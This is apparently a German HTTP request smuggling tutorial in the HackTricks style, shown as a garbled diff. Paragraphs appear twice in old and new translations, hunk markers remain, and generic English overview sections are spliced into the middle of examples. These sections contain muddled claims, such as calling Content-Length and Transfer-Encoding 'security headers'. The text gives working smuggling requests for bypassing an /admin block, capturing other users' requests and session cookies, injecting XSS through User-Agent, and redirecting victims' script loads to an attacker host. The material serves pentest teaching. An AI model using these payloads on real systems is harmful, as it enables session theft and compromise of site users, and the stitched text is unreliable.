{% endcontent-ref %}
## Auffinden von HTTP-Request-Smuggling
## Erkennen von HTTP Request Smuggling
Die Identifizierung von Schwachstellen bei HTTP Request Smuggling kann oft mithilfe von Timing-Techniken erfolgen, die darauf beruhen, wie lange der Server benötigt, um auf manipulierte Anfragen zu antworten. Diese Techniken sind besonders nützlich, um CL.TE- und TE.CL-Schwachstellen zu erkennen. Neben diesen Methoden gibt es auch andere Strategien und Tools, die verwendet werden können, um solche Schwachstellen zu finden:
Die Identifizierung von Schwachstellen bei HTTP-Request-Smuggling kann oft mithilfe von Timing-Techniken erreicht werden, die darauf beruhen, wie lange der Server benötigt, um auf manipulierte Anfragen zu antworten. Diese Techniken sind besonders nützlich zur Erkennung von CL.TE- und TE.CL-Schwachstellen. Neben diesen Methoden gibt es auch andere Strategien und Tools, die verwendet werden können, um solche Schwachstellen zu finden:
### Auffinden von CL.TE-Schwachstellen mithilfe von Timing-Techniken
- **Methode:**
- Senden Sie eine Anfrage, die, wenn die Anwendung anfällig ist, dazu führt, dass der Backend-Server auf zusätzliche Daten wartet.
- **Beispiel:**
* **Methode:**
* Senden Sie eine Anfrage, die, wenn die Anwendung anfällig ist, dazu führt, dass der Backend-Server auf zusätzliche Daten wartet.
* **Beispiel:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -183,18 +198,19 @@ Content-Length: 4
A
0
```
- **Beobachtung:**
- Der Frontend-Server verarbeitet die Anfrage basierend auf `Content-Length` und schneidet die Nachricht vorzeitig ab.
- Der Backend-Server, der eine chunked-Nachricht erwartet, wartet auf den nächsten Chunk, der jedoch nie ankommt und dadurch zu einer Verzögerung führt.
- **Indikatoren:**
- Timeouts oder lange Verzögerungen bei der Antwort.
- Erhalt einer 400 Bad Request-Fehlermeldung vom Backend-Server, manchmal mit detaillierten Serverinformationen.
* **Beobachtung:**
* Der Front-End-Server verarbeitet die Anfrage basierend auf `Content-Length` und unterbricht die Nachricht vorzeitig.
* Der Backend-Server, der eine chunked-Nachricht erwartet, wartet auf den nächsten Chunk, der jedoch nie ankommt, was zu einer Verzögerung führt.
* **Indikatoren:**
* Timeouts oder lange Verzögerungen bei der Antwort.
* Erhalt eines 400 Bad Request-Fehlers vom Backend-Server, manchmal mit detaillierten Serverinformationen.
### Auffinden von TE.CL-Schwachstellen mithilfe von Timing-Techniken
- **Methode:**
- Senden Sie eine Anfrage, die, wenn die Anwendung anfällig ist, dazu führt, dass der Backend-Server auf zusätzliche Daten wartet.
- **Beispiel:**
* **Methode:**
* Senden Sie eine Anfrage, die, wenn die Anwendung anfällig ist, dazu führt, dass der Backend-Server auf zusätzliche Daten wartet.
* **Beispiel:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -205,50 +221,46 @@ Content-Length: 6
0
X
```
- **Beobachtung:**
- Der Frontend-Server verarbeitet die Anfrage basierend auf `Transfer-Encoding` und leitet die gesamte Nachricht weiter.
- Der Backend-Server, der eine Nachricht basierend auf `Content-Length` erwartet, wartet auf zusätzliche Daten, die jedoch nie ankommen und dadurch zu einer Verzögerung führen.
* **Beobachtung:**
* Der Front-End-Server verarbeitet die Anfrage basierend auf `Transfer-Encoding` und leitet die gesamte Nachricht weiter.
* Der Backend-Server, der eine Nachricht basierend auf `Content-Length` erwartet, wartet auf zusätzliche Daten, die jedoch nie eintreffen, was zu einer Verzögerung führt.
### Andere Methoden zum Auffinden von Schwachstellen
- **Differential Response Analysis:**
- Senden Sie leicht abgewandelte Versionen einer Anfrage und beobachten Sie, ob sich die Serverantworten auf unerwartete Weise unterscheiden, was auf eine Parsing-Diskrepanz hinweisen kann.
- **Verwendung automatisierter Tools:**
- Tools wie die Erweiterung "HTTP Request Smuggler" von Burp Suite können automatisch auf diese Schwachstellen testen, indem sie verschiedene Formen von mehrdeutigen Anfragen senden und die Antworten analysieren.
* **Differenzielle Antwortanalyse:**
* Senden Sie leicht abgewandelte Versionen einer Anfrage und beobachten Sie, ob sich die Serverantworten auf unerwartete Weise unterscheiden, was auf eine Analyse-Diskrepanz hinweist.
* **Verwendung automatisierter Tools:**
* Tools wie die 'HTTP Request Smuggler'-Erweiterung von Burp Suite können automatisch auf diese Schwachstellen testen, indem sie verschiedene Formen von mehrdeutigen Anfragen senden und die Antworten analysieren.
* **Tests zur Content-Length-Varianz:**
* Senden Sie Anfragen mit unterschiedlichen `Content-Length`-Werten, die nicht mit der tatsächlichen Inhaltslänge übereinstimmen, und beobachten Sie, wie der Server mit solchen Abweichungen umgeht.
* **Tests zur Transfer-Encoding-Varianz:**
* Senden Sie Anfragen mit verschleierten oder fehlerhaften `Transfer-Encoding`-Headern und überwachen Sie, wie unterschiedlich der Front-End- und Back-End-Server auf solche Manipulationen reagieren.
- **Tests zur Variation der Content-Length:**
- Senden Sie Anfragen mit unterschiedlichen `Content-Length`-Werten, die nicht mit der tatsächlichen Länge des Inhalts übereinstimmen, und beobachten Sie, wie der Server mit solchen Abweichungen umgeht.
### Testen von HTTP-Request-Smuggling-Schwachstellen
- **Tests zur Variation der Transfer-Encoding:**
- Senden Sie Anfragen mit verschleierten oder fehlerhaften `Transfer-Encoding`-Headern und überwachen Sie, wie unterschiedlich der Frontend- und Backend-Server auf solche Manipulationen reagieren.
### Testen von Schwachstellen bei HTTP Request Smuggling
Nachdem die Wirksamkeit von Timing-Techniken bestätigt wurde, ist es entscheidend zu überprüfen, ob Client-Anfragen manipuliert werden können. Eine einfache Methode besteht darin, Ihre Anfragen zu manipulieren, zum Beispiel indem Sie eine Anfrage an `/` senden, die eine 404-Antwort liefert. Die zuvor diskutierten `CL.TE`- und `TE.CL`-Beispiele in [Grundlegende Beispiele](./#basic-examples) zeigen, wie man eine Anfrage des Clients manipuliert, um eine 404-Antwort zu erhalten, obwohl der Client versucht, auf eine andere Ressource zuzugreifen.
Nach Bestätigung der Wirksamkeit von Timing-Techniken ist es entscheidend zu überprüfen, ob Client-Anfragen manipuliert werden können. Eine einfache Methode besteht darin, Ihre Anfragen zu manipulieren, beispielsweise eine Anfrage an `/` zu senden, die eine 404-Antwort auslöst. Die zuvor diskutierten `CL.TE`- und `TE.CL`-Beispiele in [Grundlegende Beispiele](./#basic-examples) zeigen, wie man eine Client-Anfrage manipuliert, um eine 404-Antwort hervorzurufen, obwohl der Client versucht, auf eine andere Ressource zuzugreifen.
**Wichtige Überlegungen**
Beim Testen von Schwachstellen bei Request Smuggling durch Eingriffe in andere Anfragen sollten Sie beachten:
Beim Testen von Request-Smuggling-Schwachstellen durch Eingriffe in andere Anfragen beachten Sie:
* **Unterschiedliche Netzwerkverbindungen:** Die "Angriffs-" und "normalen" Anfragen sollten über separate Netzwerkverbindungen gesendet werden. Die Verwendung derselben Verbindung für beide Anfragen bestätigt nicht das Vorhandensein der Schwachstelle.
* **Konsistente URL und Parameter:** Versuchen Sie, für beide Anfragen identische URLs und Parameter-Namen zu verwenden. Moderne Anwendungen leiten Anfragen oft an bestimmte Backend-Server weiter, basierend auf URL und Parametern. Wenn diese übereinstimmen, erhöht sich die Wahrscheinlichkeit, dass beide Anfragen vom selben Server verarbeitet werden, was eine Voraussetzung für einen erfolgreichen Angriff ist.
* **Timing und Rennbedingungen:** Die "normale" Anfrage, die dazu dient, Störungen durch die "Angriffs-"Anfrage zu erkennen, konkurriert mit anderen gleichzeitigen Anfragen der Anwendung. Senden Sie daher die "normale" Anfrage unmittelbar nach der "Angriffs-"Anfrage. Bei stark ausgelasteten Anwendungen kann es erforderlich sein, mehrere Versuche durchzuführen, um eine eindeutige Bestätigung der Schwachstelle zu erhalten.
* **Herausforderungen bei der Lastverteilung:** Frontend-Server, die als Lastausgleicher fungieren, können Anfragen auf verschiedene Backend-Systeme verteilen. Wenn die "Angriffs-" und "normale" Anfragen auf unterschiedlichen Systemen landen, wird der Angriff nicht erfolgreich sein. Dieser Aspekt der Lastverteilung kann mehrere Versuche erfordern, um eine Schwachstelle zu bestätigen.
* **Unbeabsichtigte Auswirkungen auf Benutzer:** Wenn Ihr Angriff unbeabsichtigt die Anfrage eines anderen Benutzers beeinflusst (nicht die "normale" Anfrage, die Sie zur Erkennung gesendet haben), deutet dies darauf hin, dass Ihr Angriff einen anderen Anwendungsnutzer beeinflusst hat. Kontinuierliche Tests könnten andere Benutzer stören, daher ist eine vorsichtige Vorgehensweise erforderlich.
* **Unterschiedliche Netzwerkverbindungen:** Die "Angriffs-" und "normalen" Anfragen sollten über separate Netzwerkverbindungen gesendet werden. Die Verwendung derselben Verbindung für beide bestätigt nicht das Vorhandensein der Schwachstelle.
* **Konsistente URL und Parameter:** Versuchen Sie, für beide Anfragen identische URLs und Parameter zu verwenden. Moderne Anwendungen leiten Anfragen oft an spezifische Backend-Server basierend auf URL und Parametern weiter. Durch die Übereinstimmung wird die Wahrscheinlichkeit erhöht, dass beide Anfragen vom selben Server verarbeitet werden, eine Voraussetzung für einen erfolgreichen Angriff.
* **Timing und Rennbedingungen:** Die "normale" Anfrage, die dazu dient, Störungen von der "Angriffs-" Anfrage zu erkennen, konkurriert mit anderen gleichzeitigen Anwendungsanfragen. Senden Sie daher die "normale" Anfrage unmittelbar nach der "Angriffs-" Anfrage. Bei stark frequentierten Anwendungen sind möglicherweise mehrere Versuche erforderlich, um die Schwachstelle abschließend zu bestätigen.
* **Herausforderungen bei der Lastverteilung:** Front-End-Server, die als Lastenausgleicher fungieren, können Anfragen auf verschiedene Backend-Systeme verteilen. Wenn die "Angriffs-" und "normalen" Anfragen auf unterschiedlichen Systemen landen, wird der Angriff nicht erfolgreich sein. Dieser Aspekt der Lastverteilung erfordert möglicherweise mehrere Versuche, um eine Schwachstelle zu bestätigen.
* **Unbeabsichtigte Benutzerbeeinträchtigung:** Wenn Ihr Angriff unbeabsichtigt die Anfrage eines anderen Benutzers beeinflusst (nicht die "normale" Anfrage, die Sie zur Erkennung gesendet haben), deutet dies darauf hin, dass Ihr Angriff einen anderen Anwendungsbenutzer beeinflusst hat. Kontinuierliche Tests könnten andere Benutzer stören und erfordern einen vorsichtigen Ansatz.
## Missbrauch von HTTP Request Smuggling
## Missbrauch von HTTP-Request-Smuggling
### Um Front-End-Sicherheitskontrollen zu umgehen
### Umgehung der Front-End-Sicherheit über HTTP Request Smuggling
### Umgehen von Front-End-Sicherheit durch HTTP-Request-Smuggling
Manchmal setzen Front-End-Proxys Sicherheitsmaßnahmen durch, indem sie eingehende Anfragen überprüfen. Diese Maßnahmen können jedoch durch den Missbrauch von HTTP Request Smuggling umgangen werden, was einen unbefugten Zugriff auf eingeschränkte Endpunkte ermöglicht. Zum Beispiel kann der Zugriff auf `/admin` extern untersagt sein, wobei der Front-End-Proxy solche Versuche aktiv blockiert. Dieser Proxy kann jedoch versäumen, eingebettete Anfragen innerhalb einer geschmuggelten HTTP-Anfrage zu überprüfen, was eine Schlupfloch für die Umgehung dieser Einschränkungen darstellt.
Manchmal setzen Front-End-Proxys Sicherheitsmaßnahmen durch, indem sie eingehende Anfragen überprüfen. Diese Maßnahmen können jedoch durch den Missbrauch von HTTP-Request-Smuggling umgangen werden, was unbefugten Zugriff auf eingeschränkte Endpunkte ermöglicht. Beispielsweise könnte der Zugriff auf `/admin` extern untersagt sein, wobei der Front-End-Proxy solche Versuche aktiv blockiert. Dennoch könnte dieser Proxy es versäumen, eingebettete Anfragen innerhalb einer geschmuggelten HTTP-Anfrage zu überprüfen, was eine Schlupfloch für das Umgehen dieser Einschränkungen darstellt.
Die folgenden Beispiele verdeutlichen, wie HTTP Request Smuggling verwendet werden kann, um Front-End-Sicherheitskontrollen zu umgehen und speziell den `/admin`-Pfad anzugreifen, der normalerweise vom Front-End-Proxy geschützt wird:
Betrachten Sie die folgenden Beispiele, die veranschaulichen, wie HTTP-Request-Smuggling verwendet werden kann, um Front-End-Sicherheitskontrollen zu umgehen, wobei speziell der `/admin`-Pfad ins Visier genommen wird, der normalerweise vom Front-End-Proxy geschützt wird:
**CL.TE-Beispiel**
**CL.TE Beispiel**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -265,7 +277,7 @@ Content-Length: 10
x=
```
Im CL.TE-Angriff wird der `Content-Length`-Header für die erste Anfrage genutzt, während die nachfolgende eingebettete Anfrage den Header `Transfer-Encoding: chunked` verwendet. Der Front-End-Proxy verarbeitet die erste `POST`-Anfrage, überprüft jedoch nicht die eingebettete `GET /admin`-Anfrage, was einen unbefugten Zugriff auf den Pfad `/admin` ermöglicht.
Im CL.TE-Angriff wird der `Content-Length`-Header für die erste Anfrage genutzt, während die nachfolgende eingebettete Anfrage den `Transfer-Encoding: chunked`-Header verwendet. Der Front-End-Proxy verarbeitet die anfängliche `POST`-Anfrage, überprüft jedoch nicht die eingebettete `GET /admin`-Anfrage, was unbefugten Zugriff auf den Pfad `/admin` ermöglicht.
**TE.CL Beispiel**
```
@ -283,13 +295,13 @@ a=x
0
```
Im Gegensatz dazu verwendet der TE.CL-Angriff bei der anfänglichen `POST`-Anfrage `Transfer-Encoding: chunked`, und die nachfolgende eingebettete Anfrage wird auf der Grundlage des `Content-Length`-Headers verarbeitet. Ähnlich wie beim CL.TE-Angriff übersieht der Front-End-Proxy die geschmuggelte `GET /admin`-Anfrage und gewährt versehentlich Zugriff auf den eingeschränkten `/admin`-Pfad.
Im TE.CL-Angriff verwendet die anfängliche `POST`-Anfrage `Transfer-Encoding: chunked`, und die nachfolgende eingebettete Anfrage wird anhand des `Content-Length`-Headers verarbeitet. Ähnlich wie beim CL.TE-Angriff übersieht der Front-End-Proxy die geschmuggelte `GET /admin`-Anfrage und gewährt unbeabsichtigt Zugriff auf den eingeschränkten `/admin`-Pfad.
### Offenlegung der Umleitung von Front-End-Anfragen <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Anwendungen verwenden oft einen **Front-End-Server**, um eingehende Anfragen vor der Weiterleitung an den Back-End-Server zu modifizieren. Eine typische Modifikation besteht darin, Header wie `X-Forwarded-For: <IP des Clients>` hinzuzufügen, um die IP des Clients an das Back-End weiterzuleiten. Das Verständnis dieser Modifikationen kann entscheidend sein, da dies möglicherweise Möglichkeiten zum **Umgehen von Schutzmaßnahmen** oder zum **Aufdecken verborgener Informationen oder Endpunkte** aufzeigt.
Anwendungen verwenden oft einen **Front-End-Server**, um eingehende Anfragen vor der Weiterleitung an den Back-End-Server zu modifizieren. Eine typische Modifikation besteht darin, Header wie `X-Forwarded-For: <IP des Clients>` hinzuzufügen, um die IP des Clients an den Back-End weiterzuleiten. Das Verständnis dieser Modifikationen kann entscheidend sein, da sie möglicherweise Wege zum **Umgehen von Schutzmaßnahmen** oder zum **Aufdecken verborgener Informationen oder Endpunkte** aufzeigen.
Um zu untersuchen, wie ein Proxy eine Anfrage ändert, suchen Sie nach einem POST-Parameter, der vom Back-End in der Antwort wiedergegeben wird. Erstellen Sie dann eine Anfrage, wobei dieser Parameter zuletzt verwendet wird, ähnlich wie folgendes Beispiel:
Um zu untersuchen, wie ein Proxy eine Anfrage ändert, suchen Sie nach einem POST-Parameter, den das Back-End in der Antwort wiedergibt. Erstellen Sie dann eine Anfrage, wobei dieser Parameter zuletzt verwendet wird, ähnlich wie folgt:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -306,19 +318,19 @@ Content-Length: 100
search=
```
In dieser Struktur werden nach `search=` die nachfolgenden Anforderungskomponenten angehängt, die im Antworttext reflektiert werden. Diese Reflexion gibt die Header der nachfolgenden Anfrage preis.
In dieser Struktur werden nach `search=` die nachfolgenden Anforderungskomponenten angehängt, die im Antwortteil reflektiert werden. Diese Reflexion wird die Header der nachfolgenden Anfrage offenlegen.
Es ist wichtig, den `Content-Length`-Header der verschachtelten Anfrage mit der tatsächlichen Inhaltslänge abzustimmen. Es ist ratsam, mit einem kleinen Wert zu beginnen und allmählich zu erhöhen, da ein zu niedriger Wert die reflektierten Daten abschneidet, während ein zu hoher Wert dazu führen kann, dass die Anfrage einen Fehler verursacht.
Es ist wichtig, den `Content-Length`-Header der verschachtelten Anfrage mit der tatsächlichen Inhaltslänge abzustimmen. Es ist ratsam, mit einem kleinen Wert zu beginnen und allmählich zu erhöhen, da ein zu niedriger Wert die reflektierten Daten abschneiden wird, während ein zu hoher Wert dazu führen kann, dass die Anfrage fehlschlägt.
Diese Technik ist auch im Zusammenhang mit einer TE.CL-Schwachstelle anwendbar, aber die Anfrage sollte mit `search=\r\n0` enden. Unabhängig von den Zeilenumbrüchen werden die Werte an den Suchparameter angehängt.
Diese Methode dient in erster Linie dazu, die von der Front-End-Proxy vorgenommenen Anpassungen an der Anfrage zu verstehen und eine selbstgerichtete Untersuchung durchzuführen.
Dieses Verfahren dient hauptsächlich dazu, die Anforderungsänderungen zu verstehen, die vom Front-End-Proxy vorgenommen wurden, und führt im Wesentlichen eine selbstgerichtete Untersuchung durch.
### Erfassen von Anfragen anderer Benutzer <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
Es ist möglich, die Anfragen des nächsten Benutzers zu erfassen, indem man während einer POST-Operation eine spezifische Anfrage als Wert eines Parameters anhängt. So kann dies erreicht werden:
Es ist möglich, die Anfragen des nächsten Benutzers zu erfassen, indem man eine spezifische Anfrage als Wert eines Parameters während einer POST-Operation anhängt. So kann dies erreicht werden:
Durch Anhängen der folgenden Anfrage als Wert eines Parameters können Sie die Anfrage des nachfolgenden Clients speichern:
Durch Anhängen der folgenden Anfrage als Wert eines Parameters können Sie die nachfolgende Anfrage des Clients speichern:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -338,20 +350,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
In diesem Szenario ist der **Kommentarparameter** dazu gedacht, den Inhalt innerhalb des Kommentarbereichs eines öffentlich zugänglichen Beitrags zu speichern. Folglich wird der Inhalt des nachfolgenden Requests als Kommentar angezeigt.
In diesem Szenario ist der **Kommentarparameter** dazu gedacht, die Inhalte innerhalb des Kommentarbereichs eines öffentlich zugänglichen Seitenposts zu speichern. Folglich erscheinen die Inhalte des nachfolgenden Requests als Kommentar.
Diese Technik hat jedoch ihre Grenzen. Im Allgemeinen erfasst sie nur Daten bis zum Parameter-Trennzeichen, das im geschmuggelten Request verwendet wird. Bei URL-codierten Formulareingaben ist dieses Trennzeichen das `&`-Zeichen. Das bedeutet, dass der erfasste Inhalt des Requests des Opferbenutzers am ersten `&` endet, das möglicherweise sogar Teil der Query-String ist.
Diese Technik hat jedoch Einschränkungen. Im Allgemeinen erfasst sie nur Daten bis zum Parameter-Trennzeichen, das im geschmuggelten Request verwendet wird. Bei URL-codierten Formularübermittlungen ist dieses Trennzeichen das Zeichen `&`. Das bedeutet, dass der erfasste Inhalt aus dem Request des Opferbenutzers am ersten `&` endet, das möglicherweise sogar Teil der Abfragezeichenfolge ist.
Darüber hinaus ist es erwähnenswert, dass dieser Ansatz auch bei einer TE.CL-Schwachstelle möglich ist. In solchen Fällen sollte der Request mit `search=\r\n0` enden. Unabhängig von Zeilenumbrüchen werden die Werte an den Suchparameter angehängt.
Darüber hinaus ist zu beachten, dass dieser Ansatz auch bei einer TE.CL-Verwundbarkeit möglich ist. In solchen Fällen sollte der Request mit `search=\r\n0` enden. Unabhhängig von Zeilenumbruchzeichen werden die Werte dem Suchparameter angehängt.
### Verwendung von HTTP Request Smuggling zur Ausnutzung von reflektiertem XSS
### Verwendung von HTTP-Request-Smuggling zur Ausnutzung von reflektiertem XSS
HTTP Request Smuggling kann genutzt werden, um Webseiten anfällig für **reflektiertes XSS** auszunutzen und bietet erhebliche Vorteile:
HTTP-Request-Smuggling kann genutzt werden, um Webseiten auszunutzen, die anfällig für **Reflektiertes XSS** sind, und bietet erhebliche Vorteile:
* Es ist **keine Interaktion** mit den Zielbenutzern erforderlich.
* Ermöglicht die Ausnutzung von XSS in Teilen des Requests, die normalerweise **nicht erreichbar** sind, wie z.B. den HTTP Request Headern.
* Die Interaktion mit den Zielbenutzern ist **nicht erforderlich**.
* Ermöglicht die Ausnutzung von XSS in Teilen des Requests, die normalerweise **nicht erreichbar** sind, wie z. B. den HTTP-Request-Headern.
In Szenarien, in denen eine Website anfällig für reflektiertes XSS über den User-Agent-Header ist, zeigt das folgende Payload, wie diese Schwachstelle ausgenutzt werden kann:
In Szenarien, in denen eine Website anfällig für Reflektiertes XSS über den User-Agent-Header ist, zeigt das folgende Payload, wie diese Verwundbarkeit ausgenutzt werden kann:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -372,58 +384,29 @@ Content-Type: application/x-www-form-urlencoded
A=
```
Diese Payload ist so strukturiert, dass die Schwachstelle ausgenutzt wird, indem:
Dieses Payload ist strukturiert, um die Schwachstelle auszunutzen, indem:
1. Ein `POST`-Request initiiert wird, der scheinbar typisch ist, mit einem `Transfer-Encoding: chunked`-Header, um den Beginn des Smugglings anzuzeigen.
2. Anschließend wird eine `0` verwendet, um das Ende des chunked Nachrichtenrumpfs zu markieren.
3. Dann wird ein geschmuggelter `GET`-Request eingeführt, bei dem der `User-Agent`-Header mit einem Skript, `<script>alert(1)</script>`, injiziert wird, das das XSS auslöst, wenn der Server diesen nachfolgenden Request verarbeitet.
1. Ein `POST`-Request initiiert wird, scheinbar typisch, mit einem `Transfer-Encoding: chunked`-Header, um den Beginn des Smugglings anzugeben.
2. Es folgt eine `0`, die das Ende des chunked Nachrichtenrumpfs markiert.
3. Anschließend wird ein geschmuggelter `GET`-Request eingeführt, bei dem der `User-Agent`-Header mit einem Skript, `<script>alert(1)</script>`, injiziert wird, das das XSS auslöst, wenn der Server diesen nachfolgenden Request verarbeitet.
Durch die Manipulation des `User-Agent` mittels Smuggling umgeht die Payload normale Request-Beschränkungen und nutzt somit die Reflected XSS-Schwachstelle auf eine nicht standardmäßige, aber effektive Weise aus.
Durch die Manipulation des `User-Agent` mittels Smuggling umgeht das Payload normale Anforderungsbeschränkungen und nutzt so die Reflected XSS-Schwachstelle auf eine nicht standardmäßige, aber effektive Weise aus.
### Verwendung von HTTP Request Smuggling, um eine On-Site-Weiterleitung in eine offene Weiterleitung umzuwandeln <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
### Verwendung von HTTP-Request-Smuggling, um eine interne Weiterleitung in eine offene Weiterleitung umzuwandeln <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
### Ausnutzen von On-Site-Weiterleitungen mit HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
### Ausnutzen von internen Weiterleitungen mit HTTP-Request-Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Anwendungen leiten oft von einer URL zu einer anderen weiter, indem sie den Hostnamen aus dem `Host`-Header in der Weiterleitungs-URL verwenden. Dies ist bei Webservern wie Apache und IIS üblich. Wenn beispielsweise ein Ordner ohne abschließenden Schrägstrich angefordert wird, erfolgt eine Weiterleitung, um den Schrägstrich einzuschließen:
Anwendungen leiten oft von einer URL zu einer anderen weiter, indem sie den Hostnamen aus dem `Host`-Header in der Weiterleitungs-URL verwenden. Dies ist bei Webservern wie Apache und IIS üblich. Beispielsweise führt die Anforderung eines Ordners ohne abschließenden Schrägstrich zu einer Weiterleitung, die den Schrägstrich einschließt:
```
GET /home HTTP/1.1
Host: normal-website.com
```
# HTTP Request Smuggling
HTTP Request Smuggling is a technique that allows an attacker to manipulate the way a web application parses and interprets HTTP requests. By exploiting inconsistencies in how different components handle these requests, an attacker can bypass security measures and potentially perform various attacks, such as session hijacking, privilege escalation, or remote code execution.
## How it works
HTTP Request Smuggling typically involves sending specially crafted HTTP requests that exploit differences in how the front-end server (e.g., a load balancer or reverse proxy) and the back-end server (e.g., an application server) interpret the request headers. The goal is to trick the front-end server into forwarding the request in a way that the back-end server interprets it differently.
The attack usually relies on two main techniques: **header smuggling** and **body smuggling**.
### Header Smuggling
Header smuggling involves manipulating the Content-Length and Transfer-Encoding headers to confuse the front-end and back-end servers. By carefully crafting the headers, an attacker can make the front-end server interpret the request as multiple requests, while the back-end server interprets it as a single request. This can lead to various security vulnerabilities, such as request smuggling, cache poisoning, or bypassing security controls.
### Body Smuggling
Body smuggling, also known as **chunked request smuggling**, exploits the way the back-end server handles chunked encoding. By sending specially crafted requests with inconsistent chunked encoding, an attacker can trick the back-end server into misinterpreting the request boundaries. This can result in various security issues, such as request smuggling, cache poisoning, or remote code execution.
## Detection and Prevention
Detecting and preventing HTTP Request Smuggling attacks can be challenging due to the complex nature of the attack and the various components involved. However, there are some measures that can help mitigate the risk:
- Implementing strict parsing and validation of HTTP requests at both the front-end and back-end servers.
- Keeping all software components up to date to ensure they are not vulnerable to known HTTP Request Smuggling techniques.
- Using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) that can detect and block suspicious HTTP traffic.
- Conducting regular security assessments and penetration testing to identify and address any vulnerabilities in the web application.
It is important to note that prevention measures alone may not be sufficient, as new HTTP Request Smuggling techniques are constantly being discovered. Therefore, it is crucial to stay informed about the latest attack vectors and security best practices to effectively protect web applications from this type of attack.
For more information and detailed examples of HTTP Request Smuggling techniques, refer to the [HTTP Request Smuggling section](https://book.hacktricks.xyz/pentesting-web/http-request-smuggling) in the HackTricks book.
Ergebnisse in:
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Obwohl dieses Verhalten scheinbar harmlos ist, kann es mithilfe von HTTP-Request-Smuggling manipuliert werden, um Benutzer auf eine externe Website umzuleiten. Zum Beispiel:
Obwohl dieses Verhalten scheinbar harmlos ist, kann es durch HTTP-Request-Smuggling manipuliert werden, um Benutzer auf eine externe Website umzuleiten. Zum Beispiel:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -444,65 +427,22 @@ Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
# HTTP Request Smuggling
HTTP Request Smuggling is a technique that allows an attacker to manipulate the way a web application parses and interprets HTTP requests. By exploiting inconsistencies in how different components handle these requests, an attacker can bypass security measures and potentially perform various attacks, such as session hijacking, privilege escalation, or remote code execution.
## How it works
HTTP Request Smuggling typically involves sending specially crafted HTTP requests that exploit differences in how the front-end server (e.g., a load balancer or reverse proxy) and the back-end server (e.g., an application server) interpret the request headers. The goal is to trick the front-end server into forwarding the request in a way that the back-end server interprets it differently.
The attack usually relies on two main techniques:
1. **HTTP Request Smuggling via Content-Length**: In this technique, the attacker manipulates the `Content-Length` header to confuse the front-end server into treating multiple requests as a single request or vice versa. This can lead to request smuggling vulnerabilities, such as HTTP request smuggling or HTTP desync attacks.
2. **HTTP Request Smuggling via Transfer-Encoding**: This technique involves manipulating the `Transfer-Encoding` header to trick the front-end server into misinterpreting the request boundaries. By combining different transfer encodings, such as `chunked` and `identity`, an attacker can smuggle requests and potentially bypass security controls.
## Exploitation
To exploit HTTP Request Smuggling vulnerabilities, an attacker needs to carefully craft the HTTP requests to trigger the desired behavior in the front-end and back-end servers. This often requires understanding the specific behavior of the target application and experimenting with different payloads and techniques.
The exploitation process typically involves the following steps:
1. **Identify potential request smuggling points**: Analyze the target application's architecture and identify components that may introduce inconsistencies in request handling, such as load balancers, reverse proxies, or caching servers.
2. **Craft malicious HTTP requests**: Create specially crafted HTTP requests that exploit the identified request smuggling points. This may involve manipulating headers, request methods, or other request attributes.
3. **Send the requests and observe the behavior**: Send the crafted requests to the target application and observe how the front-end and back-end servers handle them. Look for any discrepancies or unexpected behavior that may indicate a request smuggling vulnerability.
4. **Exploit the vulnerability**: Once a request smuggling vulnerability is identified, exploit it to perform various attacks, such as session hijacking, privilege escalation, or remote code execution. The specific exploitation technique will depend on the nature of the vulnerability and the target application.
## Mitigation
To mitigate HTTP Request Smuggling attacks, it is important to follow secure coding practices and implement appropriate security controls. Some mitigation techniques include:
- **Request sanitization**: Implement strict input validation and sanitization mechanisms to prevent malicious requests from reaching the back-end server.
- **Consistent request handling**: Ensure consistent request handling across all components involved in request processing, such as load balancers, reverse proxies, and application servers.
- **Security headers**: Implement security headers, such as `Content-Length` and `Transfer-Encoding` validation, to detect and prevent request smuggling attacks.
- **Regular security testing**: Conduct regular security testing, including penetration testing and vulnerability scanning, to identify and address any request smuggling vulnerabilities.
By implementing these mitigation techniques, organizations can reduce the risk of HTTP Request Smuggling attacks and protect their web applications from potential exploitation.
Ergebnisse in:
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
In diesem Szenario wird die Anfrage eines Benutzers nach einer JavaScript-Datei abgefangen. Der Angreifer kann potenziell den Benutzer gefährden, indem er bösartigen JavaScript-Code als Antwort bereitstellt.
### Verwendung von HTTP-Request-Smuggling zur Durchführung von Web-Cache-Vergiftung <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
### Ausnutzung der Web-Cache-Vergiftung über HTTP-Request-Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Web-Cache-Vergiftung kann durchgeführt werden, wenn ein Bestandteil der **Front-End-Infrastruktur Inhalte zwischenspeichert**, in der Regel zur Verbesserung der Leistung. Durch Manipulation der Serverantwort ist es möglich, den Cache zu **vergiften**.
